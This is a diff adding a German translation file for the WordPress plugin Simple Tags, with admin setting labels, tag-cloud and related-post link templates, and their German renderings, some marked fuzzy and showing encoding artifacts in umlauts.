+#: /simple-tags.php:41
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags lÃ€uft nicht unter dieser Wordpress Version!"
+
+#: /simple-tags.php:41
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "Du musst das <a href=\"%1$s\">Simple Tagging Plugin</a> fÃŒr diese Version verwenden."
+
+#: /2.3/simple-tags.client.php:87
+#: /2.3/simple-tags.client.php:556
+#: /2.5/simple-tags.client.php:86
+#: /2.5/simple-tags.client.php:555
+msgid "No related posts."
+msgstr "Keine verwandten Artikel"
+
+#: /2.3/simple-tags.client.php:88
+#: /2.3/simple-tags.client.php:555
+#: /2.5/simple-tags.client.php:87
+#: /2.5/simple-tags.client.php:554
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>Verwandte Artikel</h4>"
+
+#: /2.3/simple-tags.client.php:89
+#: /2.3/simple-tags.client.php:558
+#: /2.5/simple-tags.client.php:88
+#: /2.5/simple-tags.client.php:557
+#, fuzzy
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: /2.3/simple-tags.client.php:95
+#: /2.3/simple-tags.client.php:1223
+#: /2.5/simple-tags.client.php:94
+#: /2.5/simple-tags.client.php:1254
+msgid "No tags."
+msgstr "Keine Tags."
+
+#: /2.3/simple-tags.client.php:96
+#: /2.3/simple-tags.client.php:1225
+#: /2.5/simple-tags.client.php:95
+#: /2.5/simple-tags.client.php:1256
+msgid "<h4>Tag Cloud</h4>"
+msgstr "<h4>Tag Cloud</h4>"
+
+#: /2.3/simple-tags.client.php:98
+#: /2.3/simple-tags.client.php:1224
+#: /2.5/simple-tags.client.php:97
+#: /2.5/simple-tags.client.php:1255
+#, fuzzy
+msgid "<a href=\"%tag_link%\" id=\"tag-link-%tag_id%\" class=\"st-tags t%tag_scale%\" title=\"%tag_count% topics\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" class=\"tag-link-%tag_id%\" title=\"%tag_count% BeitrÃ€ge\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:110
+#: /2.3/simple-tags.client.php:1440
+#: /2.5/simple-tags.client.php:109
+#: /2.5/simple-tags.client.php:1500
+msgid "Tags: "
+msgstr "Tags:"
+
+#: /2.3/simple-tags.client.php:112
+#: /2.3/simple-tags.client.php:1447
+#: /2.5/simple-tags.client.php:1507
+msgid "No tag for this post."
+msgstr "Der Beitrag hat kein Tag."
+
+#: /2.3/simple-tags.client.php:115
+#: /2.3/simple-tags.client.php:1446
+#: /2.5/simple-tags.client.php:114
+#, fuzzy
+msgid "<a href=\"%tag_link%\" title=\"%tag_name%\" %tag_rel%>%tag_name%</a>"
+msgstr "<a href=\"%tag_link%\" class=\"tag-link-%tag_id%\" title=\"%tag_count% BeitrÃ€ge\" %tag_rel% style=\"%tag_size% %tag_color%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:123
+#: /2.3/simple-tags.client.php:875
+#: /2.5/simple-tags.client.php:122
+#: /2.5/simple-tags.client.php:905
+msgid "<h4>Related tags</h4>"
+msgstr "<h4>Verwandte Tags</h4>"
+
+#: /2.3/simple-tags.client.php:124
+#: /2.3/simple-tags.client.php:876
+#: /2.5/simple-tags.client.php:906
+#, fuzzy
+msgid "No related tag found."
+msgstr "Keine vorgeschlagenen Tags gefunden."
+
+#: /2.3/simple-tags.client.php:125
+#: /2.5/simple-tags.client.php:124
+msgid "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a href=\"%tag_link_add%\">+</a> <a href=\"%tag_link%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:130
+#: /2.5/simple-tags.client.php:129
+msgid "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Entferne %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:272
+#: /2.5/simple-tags.client.php:266
+#, fuzzy, php-format
+msgid "Posts tagged with %s"
+msgstr "Alle Artikel mit dem Tag %s ansehen"
+
+#: /2.3/simple-tags.client.php:787
+#: /2.5/simple-tags.client.php:826
+msgid "There is no excerpt because this is a protected post."
+msgstr "Es gibt keinen Auszug, weil dies ein geschÃŒtzter Beitrag ist."
+
+#: /2.3/simple-tags.client.php:877
+#: /2.5/simple-tags.client.php:907
+msgid "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"See posts with %tag_name_attribute%\">%tag_name%</a>"
+msgstr "<span>%tag_count%</span> <a %tag_rel% href=\"%tag_link_add%\">+</a> <a %tag_rel% href=\"%tag_link%\" title=\"BeitrÃ€ge ansehen mit %tag_name_attribute%\">%tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1079
+msgid "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Remove %tag_name%</a>"
+msgstr "&raquo; <a %tag_rel% href=\"%tag_link_remove%\" title=\"Remove %tag_name_attribute% from search\">Entferne %tag_name%</a>"
+
+#: /2.3/simple-tags.client.php:1686
+#: /2.5/simple-tags.client.php:1752
+msgid "Invalid Taxonomy"
+msgstr "UngÃŒltige Taxonomie"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.3/inc/simple-tags.admin.php:628
+#: /2.5/inc/simple-tags.admin.php:161
+#: /2.5/inc/simple-tags.admin.php:628
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: Tags verwalten"
+
+#: /2.3/inc/simple-tags.admin.php:149
+#: /2.5/inc/simple-tags.admin.php:161
+msgid "Manage Tags"
+msgstr "Tags verwalten"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.3/inc/simple-tags.admin.php:843
+#: /2.5/inc/simple-tags.admin.php:162
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: Massenbearbeitung"
+
+#: /2.3/inc/simple-tags.admin.php:150
+#: /2.5/inc/simple-tags.admin.php:162
+msgid "Mass Edit Tags"
+msgstr "Massenbearbeitung"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.3/inc/simple-tags.admin.php:209
+#: /2.5/inc/simple-tags.admin.php:163
+#, fuzzy
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: Tags verwalten"
+
+#: /2.3/inc/simple-tags.admin.php:151
+#: /2.5/inc/simple-tags.admin.php:163
+#: /2.5/inc/simple-tags.admin.php:220
+#, fuzzy
+msgid "Auto Tags"
+msgstr "Tag hinzufÃŒgen"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.3/inc/simple-tags.admin.php:522
+#: /2.5/inc/simple-tags.admin.php:164
+#: /2.5/inc/simple-tags.admin.php:524
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: Einstellungen"
+
+#: /2.3/inc/simple-tags.admin.php:152
+#: /2.5/inc/simple-tags.admin.php:164
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: /2.3/inc/simple-tags.admin.php:194
+#: /2.5/inc/simple-tags.admin.php:206
+msgid "Auto tags options updated !"
+msgstr "Auto tags Optionen aktualisiert !"
+
+#: /2.3/inc/simple-tags.admin.php:210
+#: /2.3/inc/simple-tags.admin.php:523
+#: /2.3/inc/simple-tags.admin.php:629
+#: /2.3/inc/simple-tags.admin.php:844
+#: /2.5/inc/simple-tags.admin.php:629
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "Besuche die <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags/francais\">Plugin Homepage </a> fÃŒr weitere Informationen. Wenn Du einen Fehler findest oder Ideen fÃŒr Erweiterungen hast, <a href=\"mailto:amaury@wordpress-fr.net\">Kontaktiere mich.</a> !"
+
+#: /2.3/inc/simple-tags.admin.php:214
+#: /2.5/inc/simple-tags.admin.php:225
+msgid "Auto tags list"
+msgstr "Auto tags Liste"
+
+#: /2.3/inc/simple-tags.admin.php:215
+#: /2.5/inc/simple-tags.admin.php:226
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "Dieses Feature erlaubt Wordpress, den Beitrag beim Speichern nach bestimmten Tags zu durchsuchen. Wenn Dein Beitrag das Wort \"WordPress\" enthÃ€lt und Du \"wordpress\" in der auto tag Liste hast, wird Simple Tags automatisch \"wordpress\" als Tag fÃŒr den Beitrag hinzufÃŒgen."
+
+#: /2.3/inc/simple-tags.admin.php:219
+#: /2.5/inc/simple-tags.admin.php:235
+msgid "Active Auto Tags."
+msgstr "Aktive Auto Tags."
+
+#: /2.3/inc/simple-tags.admin.php:222
+#: /2.5/inc/simple-tags.admin.php:242
+msgid "Use also local tags database with auto tags. (Warning, this option can increases the CPU consumption a lot if you have many tags)"
+msgstr "Auch die lokale Tag-Datenban fÃŒr auto tags nutzen (Achtung! Wenn Du viele Tags hast, erhÃ¶ht das die CPU!)."
+
+#: /2.3/inc/simple-tags.admin.php:225
+#: /2.5/inc/simple-tags.admin.php:249
+msgid "Autotag only posts without tags."
+msgstr "Autotag nur fÃŒr BeitrÃ€ge ohne Tags."
+
+#: /2.3/inc/simple-tags.admin.php:227
+msgid "Keywords list: (separated with a comma)"
+msgstr "Keyword-Liste: (mit Komma getrennt)"
+
+#: /2.3/inc/simple-tags.admin.php:233
+msgid "Update list &raquo;"
+msgstr "Liste aktualisieren &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:236
+#: /2.5/inc/simple-tags.admin.php:265
+msgid "Auto tags old content"
+msgstr "Auto Tags alter Inhalt"
+
+#: /2.3/inc/simple-tags.admin.php:237
+#: /2.5/inc/simple-tags.admin.php:266
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "Simple Tags kann den gesamten Inhalt Deines Internetauftrittes mit Hilfe der Auto-Tag-Liste mit Tags versehen."
+
+#: /2.3/inc/simple-tags.admin.php:238
+msgid "Auto tags all content"
+msgstr "Auto Tags fÃŒr gesamten Inhalt"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:291
+#: /extras/simple-tags.importer.php:167
+msgid "If your browser doesn't start loading the next page automatically click this link:"
+msgstr "Wenn Dein browser die nÃ€chste Seite nicht automatisch lÃ€dt, klicke auf diesen Link:"
+
+#: /2.3/inc/simple-tags.admin.php:259
+#: /2.5/inc/simple-tags.admin.php:291
+#: /extras/simple-tags.importer.php:167
+msgid "Next content"
+msgstr "NÃ€chster Inhalt"
+
+#: /2.3/inc/simple-tags.admin.php:271
+msgid "All done!"
+msgstr "Fertig!"
+
+#: /2.3/inc/simple-tags.admin.php:287
+msgid "Include page in tag search:"
+msgstr "Seiten bei der Tag-Suche berÃŒcksichtigen"
+
+#: /2.3/inc/simple-tags.admin.php:288
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "Dazu ist die Funktion \"Seite zur Tag-Verwaltung hinzufÃŒgen\" notwendig."
+
+#: /2.3/inc/simple-tags.admin.php:289
+#: /2.5/inc/simple-tags.admin.php:322
+msgid "Allow tag cloud in post/page content:"
+msgstr "TagClouds in Beitrags-/Seiteninhalt erlauben:"
+
+#: /2.3/inc/simple-tags.admin.php:290
+#: /2.5/inc/simple-tags.admin.php:323
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "Wordpress erlauben, nach einem tag cloud marker <code>&lt;!--st_tag_cloud--&gt;</code> zu suchen. WP wird den Marker durch eine tag cloud ersetzen."
+
+#: /2.3/inc/simple-tags.admin.php:291
+#: /2.5/inc/simple-tags.admin.php:324
+msgid "Active auto link tags into post content:"
+msgstr "Aktiviere auto link tags im Beitragsinhalt:"
+
+#: /2.3/inc/simple-tags.admin.php:292
+#: /2.5/inc/simple-tags.admin.php:325
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "Beispiel: Du hast ein Tag namens \"WordPress\" und Dein Beitrag enthÃ€lt \"wordpress\", dann wird diese Funktion \"wordpress\" durch einen Link zur \"wordpress\" Tag Seite ersetzen. (http://myblog.net/tag/wordpress/)"
+
+#: /2.3/inc/simple-tags.admin.php:293
+#: /2.5/inc/simple-tags.admin.php:326
+msgid "Min usage for auto link tags:"
+msgstr "Min Anzahl fÃŒr auto link tags:"
+
+#: /2.3/inc/simple-tags.admin.php:294
+#: /2.5/inc/simple-tags.admin.php:327
+msgid "This parameter allows to fix a minimal value of use of tags. Default: 1."
+msgstr "Dieser Parameter erlaubt, eine Mindestanzahl fÃŒr Tags vorzuschreiben. Default: 1."
+
+#: /2.3/inc/simple-tags.admin.php:295
+#: /2.5/inc/simple-tags.admin.php:328
+msgid "Ignore case for auto link feature ?"
+msgstr "Ignore case for auto link feature ?"
+
+#: /2.3/inc/simple-tags.admin.php:296
+#: /2.5/inc/simple-tags.admin.php:329
+msgid "Example: If you ignore case, auto link feature will replace the word \"wordpress\" by the tag link \"WordPress\"."
+msgstr "Beispiel: Bei Aktivieren dieser Funktion wird das Wort  \"wordpress\" durch den Tag Link \"WordPress\" ersetzt."
+
+#: /2.3/inc/simple-tags.admin.php:297
+#: /2.5/inc/simple-tags.admin.php:330
+msgid "Add the rel=\"nofollow\" on each tags link ?"
+msgstr "Das Nofollow-Attritbut  rel=\"nofollow\" zu jedem Tag-Link hinzufÃŒgen?"
+
+#: /2.3/inc/simple-tags.admin.php:298
+#: /2.5/inc/simple-tags.admin.php:331
+msgid "Nofollow is a non-standard HTML attribute value used to instruct search engines that a hyperlink should not influence the link target's ranking in the search engine's index."
+msgstr "Nofollow ist ein nicht-standadisiertes HTML-Attribut um den Suchmaschinen mitzuteilen, dass der Link keinen Einfluss auf das Link-Rating im Suchmaschinenindex haben soll."
+
+#: /2.3/inc/simple-tags.admin.php:301
+msgid "Add page in tags management:"
+msgstr "Seite zur Tag-Verwaltung hinzufÃŒgen:"
+
+#: /2.3/inc/simple-tags.admin.php:302
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "FÃŒge Tag-Bearbeitungsfunktionen in Seite schreiben und bearbeiten ein"
+
+#: /2.3/inc/simple-tags.admin.php:303
+#: /2.5/inc/simple-tags.admin.php:334
+msgid "Activate click tags feature:"
+msgstr "Aktiviere click tags Funktion:"
+
+#: /2.3/inc/simple-tags.admin.php:304
+#: /2.5/inc/simple-tags.admin.php:335
+msgid "This feature add a link allowing you to display all the tags of your database. Once displayed, you can click over to add tags to post."
+msgstr "Diese Funktion fÃŒgt einen Link ein, mit der eine Liste aller Tags aufgerufen werden kann. Das Tag kann durch Klick auf die Liste in den Beitrag eingefÃŒgt werden."
+
+#: /2.3/inc/simple-tags.admin.php:305
+#: /2.5/inc/simple-tags.admin.php:336
+msgid "Activate autocompletion feature:"
+msgstr "Automatische VervollstÃ€ndigung aktivieren:"
+
+#: /2.3/inc/simple-tags.admin.php:306
+#: /2.5/inc/simple-tags.admin.php:337
+msgid "This feature displays a visual help allowing to enter tags more easily."
+msgstr "Diese Funktion zeigt eine Hilfe, mit der Tags einfacher integriert werden kÃ¶nnen."
+
+#: /2.3/inc/simple-tags.admin.php:307
+#: /2.5/inc/simple-tags.admin.php:338
+msgid "Activate suggested tags feature: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+msgstr "Aktiviere Tag-VorschlÃ€ge: (Yahoo! Term Extraction API, Tag The Net, Local DB)"
+
+#: /2.3/inc/simple-tags.admin.php:308
+#: /2.5/inc/simple-tags.admin.php:339
+msgid "This feature add a box allowing you get suggested tags, by comparing post content and various sources of tags. (external and internal)"
+msgstr "Diese Funktion fÃŒgt dem Schreiben-Formular eine Box mit Tag-VorschlÃ€gen hinzu (extern und intern)"
+
+#: /2.3/inc/simple-tags.admin.php:311
+#: /2.5/inc/simple-tags.admin.php:342
+msgid "Automatically include in header:"
+msgstr "Automatisch im Header einfÃŒgen:"
+
+#: /2.3/inc/simple-tags.admin.php:312
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is disabled."
+msgstr "Platziert den Meta Keyword Tag direkt im Header Deiner Seite (Die meisten, wenn auch nicht alle Themes unterstÃŒtzen diese Funktion). Teilweise werden diese Keywords von Suchmaschinen verwendet.<br /><strong>ACHTUNG:</strong> Wenn Du das Plugin \"All in One SEO Pack\" verwendest, musss diese Funktion ausgeschaltet sein! Dies sollte automatisch passieren, aber besser, Du setzt hier keinen Haken!"
+
+#: /2.3/inc/simple-tags.admin.php:313
+#: /2.5/inc/simple-tags.admin.php:344
+msgid "Always add these keywords:"
+msgstr "Diese Keywords immer verwenden:"
+
+#: /2.3/inc/simple-tags.admin.php:314
+#: /2.5/inc/simple-tags.admin.php:345
+msgid "Max keywords display:"
+msgstr "Maximale Anzahl an SchlÃŒsselwÃ¶rtern:"
+
+#: /2.3/inc/simple-tags.admin.php:315
+#: /2.5/inc/simple-tags.admin.php:346
+msgid "You must set zero (0) for display all keywords in HTML header."
+msgstr "Du musst dies auf Null (0) setzen, um alle SchlÃŒsselwÃ¶reter im HTML header zu integrieren."
+
+#: /2.3/inc/simple-tags.admin.php:318
+#: /2.5/inc/simple-tags.admin.php:349
+msgid "Use embedded tags:"
+msgstr "Verwende eingebettete Tags:"
+
+#: /2.3/inc/simple-tags.admin.php:319
+#: /2.5/inc/simple-tags.admin.php:350
+#, fuzzy
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "Diese Funktion veranlasst Wordpress beim Speichern und Anzeigen von BeitrÃ€gen nach eingebetteten Tags zu suchen. Solche Tags sind mit <code>[tags]markiert[/tags]</code> und werden dem Beitrag beim Speichern hinzugefÃŒgt, aber nicht angezeigt."
+
+#: /2.3/inc/simple-tags.admin.php:320
+#: /2.5/inc/simple-tags.admin.php:351
+#, fuzzy
+msgid "Prefix for embedded tags:"
+msgstr "PrÃ€fix fÃŒr eingebettete Tags:"
+
+#: /2.3/inc/simple-tags.admin.php:321
+#: /2.5/inc/simple-tags.admin.php:352
+msgid "Suffix for embedded tags:"
+msgstr "Suffix fÃŒr eingebettete Tags:"
+
+#: /2.3/inc/simple-tags.admin.php:324
+#: /2.5/inc/simple-tags.admin.php:355
+msgid "Automatically display tags list into feeds"
+msgstr "Zeigt automatisch eine Tag Liste in feeds"
+
+#: /2.3/inc/simple-tags.admin.php:325
+#: /2.5/inc/simple-tags.admin.php:356
+msgid "Automatically display tags list into post content:"
+msgstr "Zeigt automatisch eine Tag Liste im Beitrag:"
+
+#: /2.3/inc/simple-tags.admin.php:327
+#: /2.3/inc/simple-tags.admin.php:351
+#: /2.5/inc/simple-tags.admin.php:358
+#: /2.5/inc/simple-tags.admin.php:382
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; Nirgendwo (default)"
+
+#: /2.3/inc/simple-tags.admin.php:328
+#: /2.3/inc/simple-tags.admin.php:352
+#: /2.5/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:383
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>Ãberall</code> &ndash; In BeitrÃ€gen und feeds."
+
+#: /2.3/inc/simple-tags.admin.php:329
+#: /2.3/inc/simple-tags.admin.php:353
+#: /2.5/inc/simple-tags.admin.php:360
+#: /2.5/inc/simple-tags.admin.php:384
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; Nur in BeitrÃ€gen"
+
+#: /2.3/inc/simple-tags.admin.php:330
+#: /2.3/inc/simple-tags.admin.php:354
+#: /2.5/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:385
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; Nur auf der Homepage."
+
+#: /2.3/inc/simple-tags.admin.php:331
+#: /2.3/inc/simple-tags.admin.php:355
+#: /2.5/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:386
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; Nur bei Einzelansicht (Beitrag oder Seite)"
+
+#: /2.3/inc/simple-tags.admin.php:332
+#: /2.3/inc/simple-tags.admin.php:356
+#: /2.5/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:387
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; Nur bei einzelnem Beitrag."
+
+#: /2.3/inc/simple-tags.admin.php:333
+#: /2.3/inc/simple-tags.admin.php:357
+#: /2.5/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:388
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; Nur bei Ansicht einer statischen Seite."
+
+#: /2.3/inc/simple-tags.admin.php:335
+#: /2.5/inc/simple-tags.admin.php:366
+msgid "Post tag separator string:"
+msgstr "Zeichen, mit dem Tags zu trennen sind:"
+
+#: /2.3/inc/simple-tags.admin.php:336
+#: /2.5/inc/simple-tags.admin.php:367
+msgid "Text to display before tags list:"
+msgstr "Text vor der Tag-Liste:"
+
+#: /2.3/inc/simple-tags.admin.php:337
+#: /2.5/inc/simple-tags.admin.php:368
+msgid "Text to display after tags list:"
+msgstr "Text nach der Tag-Liste:"
+
+#: /2.3/inc/simple-tags.admin.php:338
+#: /2.5/inc/simple-tags.admin.php:369
+#, fuzzy
+msgid "Max tags display:"
+msgstr "Maximale Anzahl Tags, die angezeigt werden (Standard: 45)"
+
+#: /2.3/inc/simple-tags.admin.php:339
+#: /2.5/inc/simple-tags.admin.php:370
+msgid "You must set zero (0) for display all tags."
+msgstr "Du musst Null (0) eingeben, um alle Tags zu zeigen."
+
+#: /2.3/inc/simple-tags.admin.php:340
+#: /2.5/inc/simple-tags.admin.php:371
+msgid "Include categories in result ?"
+msgstr "Kategorien in Suchergebnis einbeziehen?"
+
+#: /2.3/inc/simple-tags.admin.php:341
+#: /2.3/inc/simple-tags.admin.php:448
+#: /2.5/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:479
+msgid "Tag link format:"
+msgstr "Tag Link Format:"
+
+#: /2.3/inc/simple-tags.admin.php:342
+#: /2.3/inc/simple-tags.admin.php:370
+#: /2.3/inc/simple-tags.admin.php:398
+#: /2.3/inc/simple-tags.admin.php:416
+#: /2.3/inc/simple-tags.admin.php:449
+#: /2.5/inc/simple-tags.admin.php:373
+#: /2.5/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:447
+#: /2.5/inc/simple-tags.admin.php:480
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "Du kannst Marker und ErklÃ€rungen hier finden: <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\"> Online Dokumentation.</a>"
+
+#: /2.3/inc/simple-tags.admin.php:343
+#: /2.5/inc/simple-tags.admin.php:374
+msgid "Text to display if no tags found:"
+msgstr "Text der erscheint, wenn keine Tags gefunden wurden:"
+
+#: /2.3/inc/simple-tags.admin.php:344
+#: /2.3/inc/simple-tags.admin.php:374
+#: /2.3/inc/simple-tags.admin.php:403
+#: /2.3/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:405
+#: /2.5/inc/simple-tags.admin.php:434
+#: /2.5/inc/simple-tags.admin.php:492
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>Besonderer Gebrauch</strong>:"
+
+#: /2.3/inc/simple-tags.admin.php:345
+#: /2.5/inc/simple-tags.admin.php:376
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Du kannst die gleiche Syntax nutzen wie die <code>st_the_tags()</code> Funktion, um Anpassungen vorzunehmen. Siehe <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Dokumentation.</a> "
+
+#: /2.3/inc/simple-tags.admin.php:348
+#: /2.5/inc/simple-tags.admin.php:379
+msgid "Automatically display related posts into feeds"
+msgstr "Zeigt automatisch themenverwandte BeitrÃ€ge  in feeds"
+
+#: /2.3/inc/simple-tags.admin.php:349
+#: /2.5/inc/simple-tags.admin.php:380
+msgid "Automatically display related posts into post content"
+msgstr "Verwandte Artikel in BeitrÃ€gen anzeigen:"
+
+#: /2.3/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:390
+#, fuzzy
+msgid "Related Posts Order:"
+msgstr "Einstellungen fÃŒr verwandte Artikel"
+
+#: /2.3/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:392
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; Ãltere EintrÃ€ge."
+
+#: /2.3/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:393
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; Neuere EintrÃ€ge."
+
+#: /2.3/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:394
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; Kleinste Anzahl gemeinsamter Tags in BeitrÃ€gen"
+
+#: /2.3/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:395
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; Meiste gemeinsame Tags zwischen BeitrÃ€gen (default)"
+
+#: /2.3/inc/simple-tags.admin.php:365
+#: /2.3/inc/simple-tags.admin.php:383
+#: /2.3/inc/simple-tags.admin.php:430
+#: /2.3/inc/simple-tags.admin.php:438
+#: /2.5/inc/simple-tags.admin.php:396
+#: /2.5/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:469
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; Alphabetisch."
+
+#: /2.3/inc/simple-tags.admin.php:366
+#: /2.3/inc/simple-tags.admin.php:384
+#: /2.3/inc/simple-tags.admin.php:431
+#: /2.3/inc/simple-tags.admin.php:439
+#: /2.5/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:470
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; Umgekehrt Alphabetisch."
+
+#: /2.3/inc/simple-tags.admin.php:367
+#: /2.3/inc/simple-tags.admin.php:385
+#: /2.3/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:398
+#: /2.5/inc/simple-tags.admin.php:416
+#: /2.5/inc/simple-tags.admin.php:463
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; ZufÃ€llig"
+
+#: /2.3/inc/simple-tags.admin.php:369
+#: /2.5/inc/simple-tags.admin.php:400
+msgid "Post link format:"
+msgstr "Format Beitragslink:"
+
+#: /2.3/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:402
+#, fuzzy
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "Maximale Anzahl Tags, die angezeigt werden (Standard: 45)"
+
+#: /2.3/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:403
+msgid "Enter the text to show when there is no related post:"
+msgstr "Text der angezeigt wird, wenn es keinen themenverwandten Beitrag gibt:"
+
+#: /2.3/inc/simple-tags.admin.php:373
+#: /2.3/inc/simple-tags.admin.php:402
+#: /2.3/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:433
+#: /2.5/inc/simple-tags.admin.php:483
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "Titel fÃŒr die Liste, wenn diese keinen Titel haben soll, dann leer lassen:"
+
+#: /2.3/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:406
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Du kannst die gleiche Syntax wie bei der <code>st_related_posts()</code>Funktion fÃŒr Anpassungen nutzen. Siehe <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">Dokumentation</a>."
+
+#: /2.3/inc/simple-tags.admin.php:378
